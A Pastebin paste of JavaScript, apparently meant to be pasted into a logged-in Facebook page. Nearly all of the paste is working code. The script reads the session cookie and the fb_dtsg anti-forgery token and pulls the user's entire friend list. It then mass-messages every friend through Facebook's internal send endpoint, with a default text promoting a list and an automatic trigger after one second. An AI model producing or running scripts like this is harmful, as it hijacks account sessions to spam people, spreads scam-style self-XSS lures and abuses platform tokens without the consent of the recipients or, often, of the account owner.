Advertisement
thuechen

Auto Message on facebook

Apr 17th, 2015
574
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.57 KB | None | 0 0
  1. alert("Auto Inbox !."); alert("Code by Richard Enage");
  2. var grouppost = "<div><span class='img sp_f52w7l sx_47132d'></span><a style='center:absolute;size:10px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5998;'>Auto Post Your Message in All Friend\'s Inbox</a></div></br>";
  3. grouppost += "<div><textarea id='txtFloodMsg' placeholder='Write something...' style='padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);color:#ffffff'></textarea></div>";
  4. grouppost += "<div><span class='img sp_dpkef5 sx_f05251'></span><div style='color:gray;'>Powered By: <A style='color:#3B5998;' href='https://www.facebook.com/thuechen' target='_blank'> Developers Malaysia.</A></br>Script Created & Designed By</A><A style='color:#3B5998;' href='https://www.facebook.com/thuechen' target='_blank'>Richard Enage</A></A></br>For More Tools Visit Our Blogger </a><A style='color:#3B5998;' href='http://www.facebook.com/thuechen' target='_blank'>Automate Your Facebook </A></div></span><button style='margin-left:437px' class='_42ft _4jy0 _11b _4jy3 _4jy1 selected' onclick='autopostingfunc(this);' >Post</button><br>"+_text+"</div>";
  5. var _text = 'Powered By: <A style="color:#3B5998;" href="http://www.facebook.com/100003917270814"" target="_blank">Developer Malaysia 99%</A></br>Script Made By: </A><A style="color:#3B5998;" href="http://www.facebook.com/100003917270814"" target="_blank">Richard</A></A>,</A></A>.</br>For More Tools Visit Me <A style="color:#3B5998;" href="http://www.facebook.com/thuechen" target="_blank"> Automate Your Facebook</A>.</A>';
  6. var Popupset = document.createElement("div");
  7. Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff");
  8. Popupset.innerHTML = grouppost;
  9. document.body.appendChild(Popupset);
  10. jx = {
  11. getHTTPObject: function () {
  12. var A = false;
  13. if (typeof ActiveXObject != "undefined") try {00
  14. A = new ActiveXObject("Msxml2.XMLHTTP")
  15. } catch (C) {
  16. try {
  17. A = new ActiveXObject("Microsoft.XMLHTTP")
  18. } catch (B) {
  19. A = false
  20. }
  21. } else if (window.XMLHttpRequest) try {
  22. A = new XMLHttpRequest
  23. } catch (C) {
  24. A = false
  25. }
  26. return A
  27. },
  28. load: function (url, callback, format, method, opt) {
  29. var http = this.init();
  30. if (!http || !url) return;
  31. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  32. if (!method) method = "GET";
  33. if (!format) format = "text";
  34. if (!opt) opt = {};
  35. format = format.toLowerCase();
  36. method = method.toUpperCase();
  37. var now = "uid=" + (new Date).getTime();
  38. url += url.indexOf("?") + 1 ? "&" : "?";
  39. url += now;
  40. var parameters = null;
  41. if (method == "POST") {
  42. var parts = url.split("?");
  43. url = parts[0];
  44. parameters = parts[1]
  45. }
  46. http.open(method, url, true);
  47. var ths = this;
  48. if (opt.handler) http.onreadystatechange = function () {
  49. opt.handler(http)
  50. };
  51. else http.onreadystatechange = function () {
  52. if (http.readyState == 4)
  53. if (http.status == 200) {
  54. var result = "";
  55. if (http.responseText) result = http.responseText;
  56. if (format.charAt(0) == "j") {
  57. result = result.replace(/[\n\r]/g, "");
  58. result = eval("(" + result + ")")
  59. } else if (format.charAt(0) == "x") result = http.responseXML;
  60. if (callback) callback(result)
  61. } else {
  62. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  63. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  64. if (error) error(http.status)
  65. }
  66. };
  67. http.send(parameters)
  68. },
  69. bind: function (A) {
  70. var C = {
  71. "url": "",
  72. "onSuccess": false,
  73. "onError": false,
  74. "format": "text",
  75. "method": "GET",
  76. "update": "",
  77. "loading": "",
  78. "loadingIndicator": ""
  79. };
  80. for (var B in C)
  81. if (A[B]) C[B] = A[B];
  82. if (!C.url) return;
  83. var D = false;
  84. if (C.loadingIndicator) {
  85. D = document.createElement("div");
  86. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  87. D.setAttribute("class", "loading-indicator");
  88. D.innerHTML = C.loadingIndicator;
  89. document.getElementsByTagName("body")[0].appendChild(D);
  90. this.opt.loadingIndicator = D
  91. }
  92. if (C.loading) document.getElementById(C.loading).style.display = "block";
  93. this.load(C.url, function (E) {
  94. if (C.onSuccess) C.onSuccess(E);
  95. if (C.update) document.getElementById(C.update).innerHTML = E;
  96. if (D) document.getElementsByTagName("body")[0].removeChild(D);
  97. if (C.loading) document.getElementById(C.loading).style.display = "none"
  98. }, C.format, C.method, C)
  99. },
  100. init: function () {
  101. return this.getHTTPObject()
  102. }
  103. };
  104. var j = 0;
  105. var k = 0;
  106. var suc = 0;
  107. var msg = "Follow this list please... https://www.facebook.com/lists/315478178592755";
  108. var arr = new Array;
  109. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  110.  
  111. function autopostingfunc(sender) {
  112. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  113. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=user&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (a) {
  114. var b = a;
  115. var c = b.substring(b.indexOf("{"));
  116. var d = JSON.parse(c);
  117. d = d.payload.entries;
  118. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  119. sender.parentNode.innerHTML = "Please Wait ...<br><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Close</span>";
  120. postitok()
  121. })
  122. }
  123.  
  124. var a = document.body.innerHTML;
  125. var dts = document.getElementsByName("fb_dtsg")[0].value;
  126. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  127. var now = (new Date).getTime();
  128.  
  129. function postitok() {
  130. pst = "message_batch[0][action_type]=ma-type%3Auser-generated-message&message_batch[0][thread_id]=&message_batch[0][author]=fbid%3A" + user_id + "&message_batch[0][author_email]&message_batch[0][coordinates]&message_batch[0][timestamp]=" + now + "&message_batch[0][timestamp_absolute]=Today&message_batch[0][timestamp_relative]=2%3A31pm&message_batch[0][timestamp_time_passed]=0&message_batch[0][is_unread]=false&message_batch[0][is_cleared]=false&message_batch[0][is_forward]=false&message_batch[0][is_filtered_content]=false&message_batch[0][spoof_warning]=false&message_batch[0][source]=source%3Achat%3Aweb&message_batch[0][source_tags][0]=source%3Achat&message_batch[0][body]=" + encodeURIComponent(msg) + "&message_batch[0][has_attachment]=false&message_batch[0][html_body]=false&&message_batch[0][specific_to_list][0]=fbid%3A" + arr[suc] + "&message_batch[0][specific_to_list][1]=fbid%3A" + user_id + "&message_batch[0][ui_push_phase]=V3&message_batch[0][sticker_id]=126362117548585&message_batch[0][status]=0&message_batch[0][message_id]=%3C1369474261661%3A978076331-4038101592%40mail.projektitan.com%3E&&client=mercury&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAw&__req=1h&fb_dtsg=" + dts + "&phstamp=";
  131. with(newx = new XMLHttpRequest) open("POST", "//www.facebook.com/ajax/mercury/send_messages.php"), send(pst);
  132. suc++;
  133. if (suc > arr.length) {
  134. alert("Auto Inbox Completed. Now Refresh your Homepage and Check Your Inbox !.");
  135. suc = 0
  136. } else setTimeout("postitok()", 3E4 / arr.length)
  137. }
  138. setTimeout("autopostingfunc()", 1E3);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement